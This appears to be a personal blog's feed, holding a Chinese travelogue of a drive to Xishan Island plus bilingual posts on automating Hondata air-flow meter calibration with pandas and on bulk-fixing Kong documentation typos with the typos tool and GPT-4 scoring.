SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
上岛之后便开始顺时针游览,第一站便是可以在湖边停车的一个不知名路边,大概在这个位置:

由于从上海出发时已经接近中午,到达时差不多是最热的时候,顶不住太阳的暴晒于是决定在车内吹会儿空调看看太湖,以及,对面的东山岛。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
位于西山岛的右下角,是许多游记中推荐去处。

在湖边休息了一段时间之后便开始前往第一个「景点」——石公山,门票 50CNY。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
石公山的感觉其实有点像上海的佘山,只不过更加高一点,山上的路稍微窄一点,由于是下午最热的时候,顶着太阳(走楼梯)爬山的体验总归不是很好,好在山上有几个小店可以买水/冰淇淋(且溢价不高)不至于直接渴死在山上。
「一线天」应该是我个人感觉石公山上最有意思的地方了,因为没有护栏,没有抓手,不能给自己赋能,而且在往上爬的过程中会感受到两侧石头给自己带来的压力,且由于坡度 非 常 陡,感觉这个地方如果在往上爬的过程中不慎后仰的话是真的会死人的,脚滑往前摔的话牙也是有可能在石头上磕掉的。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
「一线天」俯视图如下,照片中可能看不太出来这个陡峭程度,但是相信我,你绝对不会想从上往下走的

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
穿过了「一线天」之后就到达了山顶,山顶的视野非常不错,凉爽的风瞬间让爬山时的燥热烟消云散,在太阳暴晒的天气下,如果能直接缆车到达山顶的话绝对是个 5 星避暑好去处。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
走到山脚准备离开的时候为了找厕所发现出口右侧还有很大一片地方可以直接来到湖边,适合散步,拍照

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
离开石公山的时候已经差不多 1700,根据之前看到的一些游记决定继续顺时针环岛走到岛的东侧看看是否可以看到日落,本来根据计划是直接导航到「湖与 Coffee」的,但是在去的路上发现路边有多处地方可以停车并躺在草坪上露营,于是我也停下车,拍了一些照片。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
实在是饿得受不了了,于是去「湖与 Coffee」买了点吃的,比如这个 228CNY 的拼盘
确实没看到别的啥看上去好吃的,这是唯一一个看上去比较正常的,有一说一,除了虾饼以外其他的都确实好吃,就是太贵
iPhone
湖与 Coffee 的风景确实不错,这里是一个民宿+餐厅的结合体,二楼餐厅的风景和单体大玻璃看上去非常赞。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
吃饱喝足后时间已经来到了 1940,一边吃着拼盘一遍看着日落的确别有一番风味(就是拼盘太贵)
下楼再拍了两张照片:

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
照片中的二楼就是上文中吃饭+拍照的地方

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
时间不早了,是时候回上海了,接下来就又是一段 ACC + LKAS 在高速上巡航的里程。
此处省略使用 ACC 巡航的细节…
看本文的标题叫做「又到苏 U/E 的地盘——一日西山岛自驾旅记(上)」,那么自然是有一些遗憾在这一次旅行中,例如:
对了,岛上和上岛前的路上(以及太湖服务区)似乎均没有能加 98 号汽油的加油站,如果你的车有这个需求的话,记得提前加满加油。(不然就会像我一样快上岛的时候发现车已经快没油了,然后额外浪费了 40+ 分钟绕路找加油站)
iPhone
那么,让我们期待下一次说走就走的旅行再一次经过这里吧~
也许是另一个季节的时候啦!
]]>例如,你录制了一段 Datalog,通过 Hondata 的 XY 图 Plot 出来 AFM.v 和 S.Trim 发现是下图这样的话,你就会知道在 1.1v 左右的位置有个坑(最低到了 -8%),说明标定中对应的电压值对应的进气量偏高(电脑会根据标定喷油,然后发现喷浓了 8%,于是通过 S.Trim 减少 8% 的喷油量)

这个时候我们需要找到 AFM 表格并修改对应区间的数据,减少 8% 左右来修正这个情况:

然后通过更多的不同工况的 Datalog 进行反复路试+修正,获得一个最平滑的 AFM.v - S.Trim 曲线,以上过程被称为——AFM 修正,这也是程序调整中非常重要的根基。
如果 AFM 修正不正确车辆的响应会比较奇怪,且在 WOT(全油门) 下由于不走 S.Trim 所以会导致 AF(实际空燃比) 没法稳定跟上 AFCMD(电脑请求空燃比)
如果上文内容你不太能理解的话,建议回顾一下我的「什么是空燃比,燃油修正和 AFM 曲线——兼谈如何通过 Hondata Log 数据了解你的进气组件是否正常工作」这篇文章。
好,目前我们已经知道了整个流程,但是手动修 AFM 曲线听上去就过于「匠人」了,我们仔细想一下 AFM.v - S.Trim 图,其实就是把 Datalog 中每一帧的 AFM.v 和 S.Trim 给放在了散点图上,且:
明白了上面的点之后我们就会发现,如果我们要用 Hondata 手动修正 AFM 曲线的话,我们需要有多段不同的 Datalog,或者一个 Datalog 中覆盖大量的场景,考虑到我们不是在台架上进行实验,更加真实的情况是有多段不同时间录制的 Datalog,那我们就需要手动一个个看对应 Datalog 的 XY 图,并尝试找出共性,并加以修正。
这太慢了!
我们需要一个可以自动化分析 Datalog 并给 AFM 修正的能力,流程分为如下几步:
好在 Hondata 给我们提供了导出为 CSV 的功能:

导出之后的 CSV 除了行首有些垃圾行以外,每一行就是每一帧的所有传感器的数据:

这样我们便可以导出多个 Datalog 的 CSV 并合并在一起,获得大量不同时间,不同工况的 Datalog 数据。
在上一步中我们拥有了大量的数据,现在我们就可以尝试导入到 Dataframe 中进行分析了:
Fuel Status 为 2 表示闭环状态,我们只希望修正闭环(非 WOT(全油门))部分
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
df = pd.read_csv('exported.csv')
# Only reserve the rows with 'Fuel Status' = 2
df = df[df['Fuel Status'] == 2]
x = df['AFM.v']
y = df['S.TRIM']
plt.scatter(x, y, label='Data Points', color='blue', alpha=0.5)
bins = np.linspace(x.min(), x.max(), 100)
bin_centers = 0.5 * (bins[:-1] + bins[1:])
mean_values = [y[(x >= bins[i]) & (x < bins[i + 1])].mean() for i in range(len(bins) - 1)]
plt.plot(bin_centers, mean_values, label='Mean Curve', color='red', linewidth=2)
plt.xlabel('AFM.v')
plt.ylabel('S.TRIM')
plt.legend()
plt.title('Scatter Plot and Mean Curve of AFM.v vs S.TRIM')
plt.show()
这里我们使用
np.linspace把数据分成 100 个分箱并计算平均值,然后画出平均值曲线

是不是看上去和 Hondata 的 XY 图一样?
有了上面的 Dataframe 和对应的平均值之后,我们可以导入目前已有的 AFM 表格的 电压-进气量 关系,在 Hondata 中,AFM 表格有 64 列,下面 k_values 为电压值,v_values 为标定进气量(g/s):
k_values = [
0.00, 0.00, 0.35, 0.43, 0.51, 0.59, 0.66, 0.74, 0.82, 0.90, 0.98, 1.05, 1.13, 1.21, 1.29, 1.33, 1.37, 1.41, 1.45, 1.52,
1.56, 1.60, 1.68, 1.72, 1.76, 1.84, 1.88, 1.91, 1.99, 2.03, 2.07, 2.15, 2.19, 2.23, 2.30, 2.34, 2.38, 2.46, 2.50, 2.54,
2.62, 2.70, 2.77, 2.85, 2.93, 3.01, 3.09, 3.16, 3.24, 3.32, 3.40, 3.48, 3.55, 3.63, 3.71, 3.79, 3.87, 4.02, 4.18, 4.34,
4.49, 4.65, 4.84, 5.00
]
v_values = [
0.00, 0.00, 0.00, 0.00, 0.03, 0.08, 0.17, 0.28, 0.43, 0.62, 0.87, 1.16, 1.48, 1.93, 2.34, 2.60, 2.88, 3.25, 3.58, 4.31,
4.70, 5.10, 5.98, 6.46, 6.97, 8.11, 8.55, 9.19, 10.54, 11.25, 12.00, 13.18, 14.00, 15.15, 17.04, 18.05, 19.44, 21.63,
23.24, 24.45, 27.06, 29.89, 32.82, 35.89, 39.23, 42.77, 45.62, 49.55, 53.67, 57.47, 61.44, 66.23, 71.30, 76.67, 80.70,
86.52, 92.63, 105.67, 119.80, 135.13, 151.92, 170.44, 196.45, 220.14
]
df_kv = pd.DataFrame({'AFM.v': k_values, 'AFM Intake': v_values})
然后我们使用线性插值的方式将上文提到的 Mean 曲线插值在 k_values 上,并找到和对应的 v_values 的差异:
expected_values = np.interp(df_kv['AFM.v'], bin_centers, mean_values)
expected_values = np.nan_to_num(expected_values, nan=0.0)
之后我们根据百分比计算需要调整的差异量即可:
df_kv['AFM Intake Adjusted'] = df_kv['AFM Intake'] * (expected_values/100 + 1)
print(df_kv.to_string())
看,这样就可以啦!
AFM.v AFM Intake AFM Intake Adjusted
0 0.00 0.00 0.000000
1 0.00 0.00 0.000000
2 0.35 0.00 0.000000
3 0.43 0.00 0.000000
4 0.51 0.03 0.029600
5 0.59 0.08 0.078933
6 0.66 0.17 0.167733
7 0.74 0.28 0.276267
8 0.82 0.43 0.424267
...
43 2.85 35.89 35.015254
44 2.93 39.23 38.783246
45 3.01 42.77 41.663699
46 3.09 45.62 44.038772
47 3.16 49.55 48.285323
48 3.24 53.67 53.670000
49 3.32 57.47 55.442512
...
我们还可以将调整前后的曲线叠加在一起展示出来:
plt.plot(df_kv['AFM.v'], df_kv['AFM Intake'], label='Original', color='blue')
plt.plot(df_kv['AFM.v'], df_kv['AFM Intake Adjusted'], label='Adjusted', color='red')

有了这样的想法之后,我便想到制作一个简单的网站,用户只要上传 Datalog 的 CSV 文件和当前的 AFM 表格即可自动计算,于是继续和 WebP Cloud Services 的御用前端 Tuki Deng 合作,制作了 Hondata Auto AFM Correction 网站,域名是:https://hondata.nova.moe

欢迎大家来体验!
]]>For example, if you record a Datalog and plot AFM.v and S.Trim using Hondata’s XY plot, and you see something like the figure below, you will know that there is a dip around 1.1v (down to -8%), indicating that the intake volume corresponding to the voltage value in the calibration is too high (the computer injects fuel based on the calibration, then finds that it is 8% too rich, so it reduces the fuel injection by 8% through S.Trim).

At this point, we need to find the AFM table and modify the data in the corresponding range, reducing it by about 8% to correct this situation:

Then, through more Datalogs under different conditions, we perform repeated road tests and corrections to obtain the smoothest AFM.v - S.Trim curve. This process is known as AFM correction, which is also a very important foundation in program adjustment.
If the AFM correction is not done correctly, the vehicle’s response will be quite strange, and at WOT (Wide Open Throttle), because it does not use S.Trim, the AF (actual air-fuel ratio) will not be able to stably follow the AFCMD (computer requested air-fuel ratio).
If you do not quite understand the above content, I suggest you review my article “What is Air-Fuel Ratio, Fuel Trim, and AFM Curve—How to Use Hondata Log Data to Understand if Your Intake Components are Working Properly”.
Alright, now we know the whole process, but manually correcting the AFM curve sounds too “artisan”. Let’s think carefully about the AFM.v - S.Trim plot, which is actually just putting the AFM.v and S.Trim of each frame in the Datalog on a scatter plot, and:
Understanding the above points, we realize that if we want to manually correct the AFM curve using Hondata, we need multiple different Datalogs, or a single Datalog covering a large number of scenarios. Considering that we are not conducting experiments on a test bench, the more realistic situation is to have multiple Datalogs recorded at different times. We then need to manually look at the XY plot of each corresponding Datalog, try to find common patterns, and make corrections.
This is too slow!
We need a capability to automatically analyze Datalogs and correct the AFM. The process is divided into the following steps:
Fortunately, Hondata provides the function to export as CSV:

The exported CSV has some junk rows at the beginning, but each row is the data of all sensors for each frame:

Thus, we can export multiple Datalog CSVs and merge them together to obtain a large amount of Datalog data recorded at different times and under different conditions.
In the previous step, we have a large amount of data. Now we can try to import it into a Dataframe for analysis:
Fuel Status of 2 indicates closed-loop status. We only want to correct the closed-loop (non-WOT) part.
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
df = pd.read_csv('exported.csv')
# Only reserve the rows with 'Fuel Status' = 2
df = df[df['Fuel Status'] == 2]
x = df['AFM.v']
y = df['S.TRIM']
plt.scatter(x, y, label='Data Points', color='blue', alpha=0.5)
bins = np.linspace(x.min(), x.max(), 100)
bin_centers = 0.5 * (bins[:-1] + bins[1:])
mean_values = [y[(x >= bins[i]) & (x < bins[i + 1])].mean() for i in range(len(bins) - 1)]
plt.plot(bin_centers, mean_values, label='Mean Curve', color='red', linewidth=2)
plt.xlabel('AFM.v')
plt.ylabel('S.TRIM')
plt.legend()
plt.title('Scatter Plot and Mean Curve of AFM.v vs S.TRIM')
plt.show()
Here we use
np.linspaceto divide the data into 100 bins and calculate the average value, then plot the mean curve.

Doesn’t it look like Hondata’s XY plot?
With the above Dataframe and corresponding mean values, we can import the existing AFM table’s voltage-airflow relationship. In Hondata, the AFM table has 64 columns. Below, k_values are the voltage values, and v_values are the calibrated airflow (g/s):
k_values = [
0.00, 0.00, 0.35, 0.43, 0.51, 0.59, 0.66, 0.74, 0.82, 0.90, 0.98, 1.05, 1.13, 1.21, 1.29, 1.33, 1.37, 1.41, 1.45, 1.52,
1.56, 1.60, 1.68, 1.72, 1.76, 1.84, 1.88, 1.91, 1.99, 2.03, 2.07, 2.15, 2.19, 2.23, 2.30, 2.34, 2.38, 2.46, 2.50, 2.54,
2.62, 2.70, 2.77, 2.85, 2.93, 3.01, 3.09, 3.16, 3.24, 3.32, 3.40, 3.48, 3.55, 3.63, 3.71, 3.79, 3.87, 4.02, 4.18, 4.34,
4.49, 4.65, 4.84, 5.00
]
v_values = [
0.00, 0.00, 0.00, 0.00, 0.03, 0.08, 0.17, 0.28, 0.43, 0.62, 0.87, 1.16, 1.48, 1.93, 2.34, 2.60, 2.88, 3.25, 3.58, 4.31,
4.70, 5.10, 5.98, 6.46, 6.97, 8.11, 8.55, 9.19, 10.54, 11.25, 12.00, 13.18, 14.00, 15.15, 17.04, 18.05, 19.44, 21.63,
23.24, 24.45, 27.06, 29.89, 32.82, 35.89, 39.23, 42.77, 45.62, 49.55, 53.67, 57.47, 61.44, 66.23, 71.30, 76.67, 80.70,
86.52, 92.63, 105.67, 119.80, 135.13, 151.92, 170.44, 196.45, 220.14
]
df_kv = pd.DataFrame({'AFM.v': k_values, 'AFM Intake': v_values})
Then we use linear interpolation to interpolate the mean curve mentioned above onto the k_values and find the difference with the corresponding v_values:
expected_values = np.interp(df_kv['AFM.v'], bin_centers, mean_values)
expected_values = np.nan_to_num(expected_values, nan=0.0)
Next, we calculate the adjustment amount based on the percentage difference:
df_kv['AFM Intake Adjusted'] = df_kv['AFM Intake'] * (expected_values/100 + 1)
print(df_kv.to_string())
See, it’s done like this!
AFM.v AFM Intake AFM Intake Adjusted
0 0.00 0.00 0.000000
1 0.00 0.00 0.000000
2 0.35 0.00 0.000000
3 0.43 0.00 0.000000
4 0.51 0.03 0.029600
5 0.59 0.08 0.078933
6 0.66 0.17 0.167733
7 0.74 0.28 0.276267
8 0.82 0.43 0.424267
...
43 2.85 35.89 35.015254
44 2.93 39.23 38.783246
45 3.01 42.77 41.663699
46 3.09 45.62 44.038772
47 3.16 49.55 48.285323
48 3.24 53.67 53.670000
49 3.32 57.47 55.442512
...
We can also overlay the adjusted and original curves for comparison:
plt.plot(df_kv['AFM.v'], df_kv['AFM Intake'], label='Original', color='blue')
plt.plot(df_kv['AFM.v'], df_kv['AFM Intake Adjusted'], label='Adjusted', color='red')

With this idea in mind, I thought of creating a simple website where users can upload the Datalog CSV file and the current AFM table to automatically calculate the corrections. I continued to collaborate with WebP Cloud Services and our dedicated frontend developer Tuki Deng to create the Hondata Auto AFM Correction website. The domain is: https://hondata.nova.moe

Feel free to give it a try!
]]>This post is also available in English, at Fast, Large-Scale Document Typo Correction with GPT-Assisted Judgement: A Case Study of Kong’s Documentation Site
曾经有人戏称——参与开源软件最快的方式就是给开源仓库修 Typo,这其实没问题。
不过也有人看不起修 Typo 的人,认为只是为了刷工作量,代码中的 Typo 有的时候并不需要修,毕竟,代码在能跑的情况下有点 Typo 在代码/注释中其实也无伤大雅,毕竟,汉字的序顺并不定一能影阅响读。
当年我刚刚加入 PingCAP 的时候提交的第一个给 @pingcap 的 PR 是 https://github.com/pingcap/docs/pull/2058 ,将文档中的
http改成https
除了代码本身以外,有一类文档个人感觉还是值得修修 Typo 的,那就是各大文档仓库,比如:
文档本身作为产品的门面,如果你是一个用户,看到这种文档你会有如何想法:
来源 https://docs.konghq.com/gateway/changelog/#features-24, kong 这个页面上
availability全部写成的availibilty
这怎么行?我得去 reoprt 个 abouse!

我们修 Typo 和 Redis 缓存过期一样分为两种模式:
前者有些太慢了,为了修 Typo 需要仔阅细读(注意,因为汉字的序顺并不定一能影阅响读,例如上面 Kong 的文档中你不仔细看是不是不容易发现 availibilty 其实是 Typo)所有文档。
你发现上面我写的是「仔阅细读」而不是「仔细阅读」了么?
所以本文的主旨在于介绍后者,提供一个「静态检查 -> GPT 判断 -> 快速人工处理」的方式。
为了尽可能加速我们修 Typo 的能力,本文提出一个「静态检查 -> GPT 判断 -> 快速人工处理」的方式,我们按照这个顺序依次介绍。
由于 https://github.com/Kong/docs.konghq.com 中的 Typo 挺多,加上我住的地方离 Kong 上海办公室很近,所以本文我们以这个仓库作为示例。

拍摄于 Kong 上海办公室楼下
本来这一步是想手搓一个工具的,但是发现 GitHub 上有个很好用的库叫做 typos , https://github.com/crate-ci/typos,在安装之后只要到项目目录下 typos 即可标记出所有的潜在 Typo,例如,我们在 docs.konghq.com/app 目录下:
find . -name "*.md" | xargs -I {} typos {}
就可以看到不少 Typos 标记:
error: `hexidecimal` should be `hexadecimal`
--> ./_src/gateway/plugin-development/pdk/kong.request.md:335:61
|
335 | * Percent-encoded values of reserved characters have their hexidecimal
| ^^^^^^^^^^^
|
error: `Hashi` should be `Hash`
--> ./_src/gateway/reference/configuration/configuration-3.4.x.md:2223:58
|
2223 | resurrected for when they cannot be refreshed (e.g., the HashiCorp vault is
| ^^^^^
|
error: `mis` should be `miss`, `mist`
--> ./_src/gateway/reference/configuration/configuration-3.4.x.md:4138:11
|
4138 | note that mis-management of keyring data may result in irrecoverable data loss.
| ^^^
但是如你所见,这个里面有不少的 False positive 的案例,比如 HashiCorp 他认为 Hashi 应该改为 Hash,比如 mis-management 他认为应该改为 miss-management。
对于这种情况我们可以编写一个 typos.toml 进行简单的初筛,内容如下:
[default.extend-words]
Hashi = "Hashi"
mis = "mis"
然后将命令换为:
find . -name "*.md" | xargs -I {} typos {} --config /path/to/typos.toml
但是通过这种方式标记出来的 Typo 我们需要人工判断,并手动找到对应的文件做修改,依然是一个比较费时费力的操作,所以我们需要让 typos 输出程序可以理解的方式交由下一步处理,好在 typos 支持 --format json 参数,加上这个参数之后输出的内容就变成了类似如下:
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/how-kong-works/routing-traffic.md","line_num":685,"byte_offset":81,"typo":"fo","corrections":["of","for","do","go","to"]}
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/breaking-changes/30x.md","line_num":124,"byte_offset":6,"typo":"fuction","corrections":["function"]}
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/production/tracing/api.md","line_num":2,"byte_offset":19,"typo":"Referenece","corrections":["Reference"]}
我们暂时称这个文件为——脏 Typo JSON。
在上文中我们已经可以让潜在 Typo以一行一个 JSON 字符串的方式记录下来了,下一步我们需要做的就是
这里的难点在于 Prompt,我的 Prompt 如下:
{
"messages": [
{
"role": "system",
"content": """
你是一个熟悉互联网公司名称和词语和拼写的判官,我会给你一个句子和句子中需要替换的单词,你需要以0-100之间的数字告诉我这个单词是否应该被替换,无论什么情况,你都只能回答 0到100 之间的数字,数字越大表示越有概率需要更换,如果你不能确定,请回答概率数字,不能有任何额外的解释或者注释,只回答数字,\n
同时你需要判断是否是特定公司名(例如 Hashicorp 是个公司名字,不应该被替换),或者是否是无意义字符串来决定,如果是特定公司名或者无意义字符串,你需要回答 0,如果是一个普通的单词,你需要回答 100,\n
请首先判断需要被改写的句子是否是一个有意义的句子,如果不是有意义的句子,你需要回答 0\n
例如 Time-to-live (in seconds) of a HashiCorp vault miss (no secret). 中 Hashi 是 HashiCorp 的一部分,并不是一个 Typo,所以不应该被替换,需要回答 0\n
例如 02:21:00:86:ce:d0:fc:ba:92:e9:59:16:1c:c3:b2:11:11:ed: 中的 ba 由于是一个示例字符串的一部分而不是任何有意义的句子,所以不应该被替换,需要回答 0\n
例如 X-Kong-Admin-Request-ID: ZuUfPfnxNn7D2OTU6Xi4zCnQkavzMUNM 中的 OTU 由于是一个示例字符串的一部分而不是任何有意义的句子,所以不应该被替换,需要回答 0\n
"""
},
{
"role": "user",
"content": "{} \n {} 改为 {}"
}
],
"stream": False,
"model": "gpt-4",
"temperature": 0.5,
"presence_penalty": 0,
"frequency_penalty": 0,
"top_p": 1
}
等 Prompt 写好之后就是花钱找 OpenAI 的 API Key 然后对接的事情了,这里由于主要是个 PoC ,所以就用 Python 完成,关键代码如下:
gpt_rate_response = client.chat.completions.create(
messages=formatted_message['messages'],
model=formatted_message['model'],
stream=formatted_message['stream'],
top_p=formatted_message['top_p'],
temperature=formatted_message['temperature'],
presence_penalty=formatted_message['presence_penalty'],
frequency_penalty=formatted_message['frequency_penalty']
)
gpt_rate = gpt_rate_response.choices[0].message.content
上面代码中的 gpt_rate 就是一个 0~100 之间的数字,不过可能由于我的 Prompt 没有写的很好,只会输出 0 或者 100,这个时候我们只要丢掉打分是 0 的就行了。
在这里我想感谢 @BennyThinks 的「头顶冒火」服务,地址是 https://burn.hair/ ,在这个项目中 @BennyThinks 的服务给我提供了非常多的支持。
目前新用户注册送 $1 邀请好友送 $1 加频道(https://t.me/mikuri520)送 $2
同时进一步感受到了——「没有钱,就没法做科研」的道理
这里 GPT 标记完成之后我们其实只是清理掉了「脏 Typo JSON」文件中大概率误判的内容并写回,我们称这个 GPT 清理过的文件为「干净 Typo JSON」
现在我们终于有了「干净 Typo JSON」了,我们需要有个方式来对文件快速完成替换,为了人机工程考虑,我们引入的操作模式为:「屏幕上每次出现两行,第一行是原始行 ,第二行是替换了之后的行,用户只需要按 Y 即可确认替换,按 N 表示放弃替换」,界面如下:

部分代码实现如下:
def do_replace(file_path,line_num,typo,correction):
lines = []
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()
lines[line_num-1] = lines[line_num-1].replace(typo, correction)
with open(file_path, 'w', encoding='utf-8') as file:
file.writelines(lines)
def get_ch():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
...
# Display the original and corrected lines, and give color to the corrected word
typo_word_index = orignal_line.find(typo_word)
print("Path: ", json_obj['path'])
print(f"{orignal_line[:typo_word_index]}{Back.RED}{orignal_line[typo_word_index:typo_word_index + len(typo_word)]}{Style.RESET_ALL}{orignal_line[typo_word_index + len(typo_word):]}")
print(f"{corrected_line.replace(json_obj['corrections'][0], Back.GREEN + json_obj['corrections'][0] + Style.RESET_ALL)}")
print("Do you want to continue? [y/n]: ")
ch = get_ch()
if ch == 'y':
do_replace(json_obj['path'], json_obj['line_num'], typo_word, json_obj['corrections'][0])
print("Replaced!")
elif ch == 'n':
continue
else:
print("Exiting...")
exit(0)
当然,如果 Typo 足够多的话,即使能这样快速按 Y/N 来替换,对着电脑按 10+ 分钟也和做狗推没啥区别
使用本文提出的「静态检查 -> GPT 判断 -> 快速人工处理」方式,我完成了对 https://github.com/Kong/docs.konghq.com 仓库中绝大部分(GPT 可能会有少量 false negative 反向误判)Typo 的修复,总共提交了 3 个 PR:
同时还顺手在 Cloudflare 和 Halo 的仓库上实践了一下:
涉及 68 个分散在仓库各处的文件的改动,总用时(Clone 仓库+运行脚本+手动提交)大约 30 分钟,简称「Typo 仙人」。
目前这个流程中最耗时的时间还是莫过于「快速人工处理」,即使已经有了上面可以快速按 Y/N 的 TUI 程序,人肉手动做最终的判定还是会受到操作者(也就是我自己)的瓶颈限制,所以这里可能有如下思路:
假设「静态检查 -> GPT 判断」之后如总共有 100 个 Typo,但由于「GPT 判断」还是会有些 False Positive 的部分导致其中 10 个是假的但是没判断出来,这样我们的修改中就有 90 个真 Typo 和 10 个假 Typo,这里如果我们按照上面的「快速人工处理」的话还是得手动按 100 次 Y/N,比较费力,不如这个时候我们直接本地在「GPT 判断」完成之后自动完成对文件的修改然后把 PR 提交上去,那么:
由于库的维护者应该是要手动看一遍的,他应该看到有 10 个假 Typo,此时他有如下选择:
在这种方式下可以做到最终只有一个人需要手动 Review 一遍修改,而由于(如果是负责的)维护者本身就要人工 Review 一遍,这样可以将这个有瓶颈的工作分摊到各个仓库的维护者身上,极大提升了修 Typo 效率,当然…

不知道 Kong 的维护者看到这三个 PR 内部包含的这么多文件更改的时候有何感想
在 AI/GPT 如此盛行的时代,作为对自己能力没啥信心,不太会写代码,也不太会追热点的"开发者",我找到了一个除了用来做日常问答和 Copilot 以外看上去好像挺实用的一个 AI 场景,希望本文可以给读者带来某种启发~
]]>这篇文章有简体中文版本,在 「带 GPT 辅助判定的快速大规模修文档 Typo——以 Kong 文档站的实践」
Once, someone jokingly said that the fastest way to participate in open source software is to fix typos in the repository, which is not wrong.
However, some people look down on those who fix typos, thinking that they are just padding their workload. Sometimes typos in code do not need to be fixed. After all, a bit of typo in the code/comments is no harm if the code can run.
When I first joined PingCAP, the first PR I submitted to @pingcap was https://github.com/pingcap/docs/pull/2058, changing
httptohttpsin the document.
Apart from the code itself, there is a type of document that I personally feel is worth fixing typos, namely, the various major document repositories, such as:
Documents themselves serve as the facade of the product. If you are a user, what would you think when you see such a document:
Source: https://docs.konghq.com/gateway/changelog/#features-24, on the Kong page,
availabilityis all written asavailibilty.
How can this be? I have to reoprt an abouse!

We fix typos in the same way as Redis cache expiration, divided into two modes:
The former is a bit slow. To fix typos, you need to read carefully (note, because the order of Chinese characters does not necessarily affect reading comprehension, for example, in the Kong document above, you won’t easily notice that availibilty is actually a typo) all the documents.
So the main purpose of this article is to introduce the latter, providing a “static check -> GPT judgment -> quick manual processing” method.
In order to speed up our ability to fix typos as much as possible, this article proposes a “static check -> GPT judgment -> quick manual processing” method. We will introduce it in this order.
Since there are quite a few typos in https://github.com/Kong/docs.konghq.com, and the place where I live is very close to Kong’s Shanghai office, we will use this repository as an example in this article.

Taken downstairs at Kong’s Shanghai office
Originally, I wanted to handcraft a tool for this step, but I found a very useful library on GitHub called typos, https://github.com/crate-ci/typos. After installing, you can just go to the project directory and use typos to mark all potential typos. For example, in the docs.konghq.com/app directory:
find . -name "*.md" | xargs -I {} typos {}
You can see quite a few typos marked:
error: `hexidecimal` should be `hexadecimal`
--> ./_src/gateway/plugin-development/pdk/kong.request.md:335:61
|
335 | * Percent-encoded values of reserved characters have their hexidecimal
| ^^^^^^^^^^^
|
error: `Hashi` should be `Hash`
--> ./_src/gateway/reference/configuration/configuration-3.4.x.md:2223:58
|
2223 | resurrected for when they cannot be refreshed (e.g., the HashiCorp vault is
| ^^^^^
|
error: `mis` should be `miss`, `mist`
--> ./_src/gateway/reference/configuration/configuration-3.4.x.md:4138:11
|
4138 | note that mis-management of keyring data may result in irrecoverable data loss.
| ^^^
But as you can see, there are quite a few false positives in this, such as HashiCorp where he thinks Hashi should be changed to Hash, and mis-management where he thinks it should be changed to miss-management.
For this situation, we can write a typos.toml for a simple preliminary screening, the content is as follows:
[default.extend-words]
Hashi = "Hashi"
mis = "mis"
Then change the command to:
find . -name "*.md" | xargs -I {} typos {} --config /path/to/typos.toml
But for the typos marked in this way, we need to manually judge and manually find the corresponding file to make changes, which is still a relatively time-consuming and laborious operation. So we need to let typos output in a way that the program can understand for the next step. Fortunately, typos supports the --format json parameter. After adding this parameter, the output content becomes like this:
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/how-kong-works/routing-traffic.md","line_num":685,"byte_offset":81,"typo":"fo","corrections":["of","for","do","go","to"]}
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/breaking-changes/30x.md","line_num":124,"byte_offset":6,"typo":"fuction","corrections":["function"]}
{"type":"typo","path":"/path/to/workspace/docs.konghq.com/app/_src/gateway/production/tracing/api.md","line_num":2,"byte_offset":19,"typo":"Referenece","corrections":["Reference"]}
We temporarily call this file – dirty Typo JSON.
In the previous section, we have been able to record potential typos in the form of one JSON string per line. The next step we need to do is
The difficulty here lies in the Prompt. My Prompt is as follows:
{
"messages": [
{
"role": "system",
"content": """
You are a judge who is familiar with the names and words and spelling of internet companies. I will give you a sentence and the word in the sentence that needs to be replaced. You need to tell me whether this word should be replaced with a number between 0-100. Under any circumstances, you can only answer a number between 0 and 100. The larger the number, the more likely it is to be replaced. If you are not sure, please answer the probability number. You can't have any additional explanations or comments, just answer the number.
At the same time, you need to judge whether it is a specific company name (for example, Hashicorp is a company name and should not be replaced), or whether it is a meaningless string to decide. If it is a specific company name or a meaningless string, you need to answer 0. If it is a common word, you need to answer 100.
Please first judge whether the sentence that needs to be rewritten is a meaningful sentence. If it is not a meaningful sentence, you need to answer 0.
For example, in the sentence "Time-to-live (in seconds) of a HashiCorp vault miss (no secret).", Hashi is part of HashiCorp and is not a typo, so it should not be replaced. You need to answer 0.
For example, in "02:21:00:86:ce:d0:fc:ba:92:e9:59:16:1c:c3:b2:11:11:ed:", ba is part of an example string and not any meaningful sentence, so it should not be replaced. You need to answer 0.
